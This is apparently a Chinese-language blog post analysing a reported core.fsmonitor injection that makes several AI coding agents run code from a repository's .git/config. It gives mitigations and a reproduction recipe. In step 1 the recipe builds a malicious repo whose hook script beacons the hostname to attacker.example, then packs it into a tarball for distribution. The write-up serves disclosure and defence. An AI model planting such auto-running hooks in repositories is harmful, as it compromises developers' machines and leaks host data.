Git config 注入复现：subprocess 管道层疏漏如何让 8 款 AI Coding Agent 同时沦陷

析数塔
36 阅读11分钟

Git config 注入复现：subprocess 管道层疏漏如何让 8 款 AI Coding Agent 同时沦陷

一、把视角从 AI 层挪到 subprocess 层

2026 年 9 月初，Manifold Security 把一项名叫 GitSpawn 的研究公开。报告披露 8 个 CVE，覆盖 7 款主流 AI coding agent，其中 4 款在公开报告时仍未修复。The Hacker News 在 9 月 2 日跟进报道，CVE-2026-72718 给了 CVSS 7.0 评分。

如果只看媒体标题，很容易得出一个老套结论：AI 工具又被攻破了。

但这个归因方式放错了位置。报告里反复强调的一句话是："这是 agent 调用 Git 子进程时的管道层疏漏。" 翻译成更精确的工程语言：模型层没有参与这次攻击，没有 prompt injection，没有越狱，没有大模型被欺骗。攻击完全发生在 subprocess 这一层，AI 模型甚至不知道 .git/config 里写了什么。

理解这一点对修复路径非常关键。把责任归给"AI 不安全"，会让团队在 prompt 防御上加更多补丁；把责任归给"subprocess 调用层疏漏"，才能让修复落到正确位置。

本文要做三件事：复现漏洞触发链路、解释为什么多个产品同时中招、给出可落地的修复方案。所有讨论都限定在工程视角，不涉及模型层安全话题。

二、core.fsmonitor：一个本不该被信任的配置项

要理解 GitSpawn，先回到 Git 的 core.fsmonitor 设计本身。这个配置项的官方用途是允许仓库自定义文件变更监控脚本，避免 Git 在大型 monorepo 里全量扫描。标准写法是在 .git/config 里加一段：

[core]
    fsmonitor = "evil.sh"

任何触发索引刷新的 Git 操作（git status、git diff、git add、git commit 之前的 hook 触发阶段），都会让 Git 执行这个脚本。Git 官方文档把 core.fsmonitor 描述为"用一个外部程序监视工作树文件系统变更"，归类为性能优化工具，从来不是安全边界。

问题在于 core.fsmonitor 接受任意可执行命令，并且没有任何沙箱、没有路径白名单、没有执行前确认。Git 信任仓库所有者对配置文件的修改，这套假设在单机开发时代完全合理，在 AI agent 时代则变成攻击面。

类似的配置项还有：

  • core.hooksPath：自定义 Git hooks 目录路径，hooks 脚本同样可执行
  • core.gitProxy：Git 命令代理命令
  • core.sshCommand：覆盖 SSH 命令
  • core.pager：指定分页器

这些配置项共同的特点是接受路径或命令，Git 直接 exec 调用。把它们列在一起看，就能理解为什么这类漏洞不是孤例，而是一类系统性风险。

三、漏洞复现：6 步走完一次完整攻击

为了把攻击路径讲清楚，按时间顺序拆解一次完整的 GitSpawn 复现。所有步骤在隔离的 Docker 容器里执行，便于读者自行复现。

2026-09-09_git-config-inject_diagram.jpeg

步骤 1：构造恶意仓库

mkdir evil-repo
cd evil-repo
git init
echo '#!/bin/bash
echo "PWNED at $(date)" >> /tmp/poc.log
curl -s http://attacker.example/beacon?host=$(hostname)' > .git/fsmonitor.sh
chmod +x .git/fsmonitor.sh

git config core.fsmonitor ".git/fsmonitor.sh"
echo "int main() { return 0; }" > main.c
git add main.c
git commit -m "initial"

这一步把恶意脚本写入 .git/fsmonitor.sh，并通过 git config core.fsmonitor 让 Git 在每次刷新索引时执行它。脚本可以写日志、联网外发、读写用户文件，所有动作以受害者本机权限运行。

步骤 2：打包传播

cd ..
tar czf evil-repo.tar.gz evil-repo/

关键操作：压缩包必须包含 .git 目录。普通 git clone 协议不会传输 core.fsmonitor 配置项，但 tar/zip 打包会保留完整 .git。

步骤 3：受害者接收

受害者下载 evil-repo.tar.gz，解压到本地。这一步攻击者无法控制，受害者需要主动解压、共享盘同步、U 盘拷贝。

步骤 4：受害者启动 AI agent

cd evil-repo
claude

Claude Code 启动时会自动调用 git status 探测仓库状态。这个调用完全在 agent 内部发生，没有用户确认弹窗，没有模型层介入。

步骤 5：Git 读取配置

Git 进程启动后，读取 .git/config，发现 core.fsmonitor = ".git/fsmonitor.sh"，在状态刷新前 fork + exec 该脚本。

步骤 6：命令执行

.git/fsmonitor.sh 以受害者本机权限执行，写入 /tmp/poc.log、访问网络、上传数据。所有动作都在 AI 模型不知道的情况下完成。

整个链路里没有任何一步需要"骗过 AI"。这就是为什么 Manifold Security 强调这是 subprocess 层问题，不是 AI 层问题。

四、传播路径：4 种方式 + 1 个关键认知

很多读者第一反应是：那 GitHub 上的恶意仓库怎么办？

答案是不会通过 GitHub 传播。git clone 协议不上传 core.fsmonitor，server 端只下发 pack 文件和必要的 refs。换句话说，GitHub 公开仓库的这个攻击面是闭合的。

真正会传播 .git/config 的途径有四种：

  1. 压缩包分发：仓库以 zip/tar.gz 形式传播，包含完整 .git 目录
  2. 共享磁盘同步：Dropbox、坚果云、SMB、NFS 同步下来的项目文件夹
  3. U 盘拷贝：开发者之间互传代码
  4. 部分 GUI 工具的"复制仓库"功能，可能带 .git

理解这一点对威胁建模非常关键。这个漏洞不是远程零点击，而是"线下代码分发 + 主动触发"的组合。攻击者要成功投放，需要让受害者接收并解压恶意仓库，再启动 AI agent。

但这并不代表威胁低。真实的供应链攻击往往结合社会工程：诱导用户下载"内部 SDK"、"破解版软件"、"黑客工具合集"，再让 AI agent 帮忙跑通。攻击者知道开发者警惕陌生 .exe，但不一定警惕"看起来就是普通代码"的仓库。

五、影响范围：7 款产品 4 款未修

GitSpawn 报告披露的 8 个 CVE 覆盖 7 款产品，修复状态分化严重。

已修复：

  • goose 全版本 < 1.44.0，1.44.0 修复
  • Codex CLI 0.102.0–0.130.0，0.131.0 修复
  • Codex Desktop macOS 26.519.22136 修复
  • Codex Desktop Windows 26.519.21041 修复
  • Claude Code 2.1.196 修复 core.fsmonitor 路径
  • Cursor 在更早的版本处理过同类问题

未修复：

  • Hermes Agent 0.18.2、0.21.0 两条路径未修复
  • Qwen Code 0.19.6、0.22.3 两条路径未修复
  • Grok Build 0.2.93、1.0.13 两条路径未修复

待确认：

  • Claude Code ultrareview 路径在 2.1.252 引入，是否在 2.1.258+ 修复需要看官方 changelog

每个未修复的产品背后都是一批正在使用这些工具的开发者。在等官方修复的窗口期，唯一的临时缓解就是不在不可信来源的仓库里运行 AI agent。这一点对 Hermes、Qwen Code、Grok Build 用户尤其要紧。

补充一个独立发现：xAI 的 Grok Build 在 2026 年 7 月被独立研究者指出，不仅存在配置注入，还会上传用户整个 Git 仓库到 xAI 存储。xAI 在 X 上回应而非通过正式安全公告处理。叠加 GitSpawn 报告未修复的事实，Grok Build 的安全姿态不容乐观。

六、历史重演：这不是第一次

这件事最让人警惕的部分是它并非首次出现。Sonar 在 2026 年 4 月的分析里早就指出：VS Code < 1.63.1 和 JetBrains < 2021.3.1 存在完全相同的 trust dialog 绕过，对应 CVE-2021-43891 和 CVE-2022-24346。模式一样：用户没确认，agent/IDE 自动执行了 .git/config 里的命令。

更值得说的是 Anthropic 自己的轨迹。Anthropic 在 2025 年 11 月 5 日修复过 Claude Code 的同类问题，2026 年 6 月 25 日的 2.1.193 版本中，相同行为再次出现，2.1.196 才再次修复。

这个回归（regression）才是开发者最该警惕的信号。安全漏洞的修复在工程团队眼里常常和普通 bug 等同，没有专门的回归测试覆盖。一旦功能改动触及 subprocess 调用路径，旧问题就会悄悄复活。

把这件事记在心里：当一个产品声称"修了同类问题"，请确认是否包含回归测试。否则下次更新可能再把漏洞带回来。

七、CVSS 7.0 怎么读

CVE-2026-72718 给的 CVSS 7.0（High）在 AI 相关漏洞里算偏高。原因是攻击复杂度低（Attack Complexity: Low）、权限要求低（Privileges Required: Low）、对机密性完整性可用性都有影响（Confidentiality / Integrity / Availability 都是 High）。

但要客观补一句：触发条件比较特殊。攻击需要受害者主动解压、复制、同步一个含 .git/config 的恶意仓库，并在这个目录里启动 AI agent。不是远程零点击漏洞。

工程视角下，CVSS 评分衡量的不只是技术严重性，还有商业可利用性。.git/config 注入的低技术门槛（攻击者只要写一行 Git config）+ 高隐蔽性（agent 自己执行，没有日志记录），正好是真实攻击者最爱的组合。

给安全团队的参考评分判断标准：CVSS 7.0 + 公开 PoC + 低投放门槛 + AI 工具用户基数大，这四个条件叠加就是高优先级修复项。

八、修复方案：subprocess 调用层的工程实践

把视角放回工程层。修复方案不复杂，关键是要把 .git/config 视作不可信输入。

方案 1：执行前过滤

在 agent 调用任何 Git 命令前，先解析 .git/config 中所有可执行类配置项（core.fsmonitor、core.hooksPath、core.gitProxy、core.sshCommand、core.pager），判断路径是否在白名单内。非白名单路径拒绝执行或弹出确认。

实现上可以用 Git 官方提供的 git config -f .git/config --get <key> 命令先读出值，再判断。Python 示例：

import subprocess

FORBIDDEN_KEYS = ['core.fsmonitor', 'core.hookspath', 'core.gitproxy']

def check_repo_config(repo_path):
    for key in FORBIDDEN_KEYS:
        result = subprocess.run(
            ['git', 'config', '-f', f'{repo_path}/.git/config', '--get', key],
            capture_output=True, text=True
        )
        if result.returncode == 0 and result.stdout.strip():
            raise SecurityError(f"Refusing to operate on repo with {key}={result.stdout.strip()}")

方案 2：subprocess 沙箱

用 subprocess.run 时配合 preexec_fn（Linux）或 Job Object（Windows）限制子进程权限。或者直接用 Docker 隔离，让 Git 命令在容器内运行，对宿主文件系统只读。

方案 3：白名单仓库模式

企业级部署可以让 agent 仅接受事先审核过的仓库列表，新仓库需要走安全审查流程。这是更彻底的方案，但牺牲灵活性。

方案 4：通用策略

对所有调用 Git 的代码路径加单元测试，测试输入是恶意 .git/config，断言子进程不被执行或被拦截。这类测试很容易写，能把回归风险堵在 CI 阶段。

Anthropic、OpenAI、Hermes、Qwen Code 的工程团队接下来要做的事，本质上就是上面四种方案的组合。优先级最高的是方案 1（执行前过滤），因为它成本最低、防御面最完整。

九、给开发者的清单

今天就能做：

  • 升级 goose 到 1.44.0+、Claude Code 到 2.1.196+（确认 ultrareview 路径已修）、Cursor 到最新版、Codex CLI 到 0.131.0+
  • Hermes Agent、Qwen Code、Grok Build 在安全敏感环境暂停使用
  • 用 git config -f .git/config --get core.fsmonitor 检查陌生仓库，有可疑配置先删再启动 agent

本周应该做：

  • 在 CI 里加一条 lint 规则，禁止 .git/config 出现 core.fsmonitor 字段（合规性约束，不替代修复）
  • 给团队做一个内部说明，讲清楚哪些 AI agent 版本在用、哪些暂停

持续要做：

  • 关注上游安全公告，尤其是 CVE-2026-72718 的关联讨论
  • 在评估新的 AI coding agent 时，把 subprocess 调用安全列入选型评分项

十、收尾：归对位置才能修对位置

Manifold Security 把这次研究命名为 GitSpawn，名字起得精准：漏洞是从 Git 里孵化出来的，跟 AI 关系不大。把责任归给"AI 不安全"是认知偷懒，归给"subprocess 管道层疏漏"才是工程视角。

这件事对开发者选 AI 编程工具的启发是：模型能力之外的工程细节，决定了工具能不能安全地进入生产工作流。下次看到一个 AI agent 宣传"最强模型"的时候，多问一句：subprocess 调用层做了哪些安全校验？.git/config 信任模型是什么？没有答案的产品，先别碰。

工程问题归工程问题去解决，不要让 AI 这个标签把所有责任都打包甩掉。

引用列表

  1. Malicious .git Configs Can Trigger AI Agent Code Execution - The Hacker News - 发布于 2026-09-02
  2. GitSpawn: AI Coding Agents Git Hijack - Manifold Security - 发布于 2026-09-02
  3. GitHub Security Advisory GHSA-r5pp-p5r8-466r (goose) - GitHub Advisory - 发布于 2026-09
  4. CVE-2026-72718 - MITRE - 发布于 2026-09
  5. Sonar - VS Code / JetBrains trust dialog bypass analysis - Sonar - 发布于 2026-04
avatar
文章
阅读
粉丝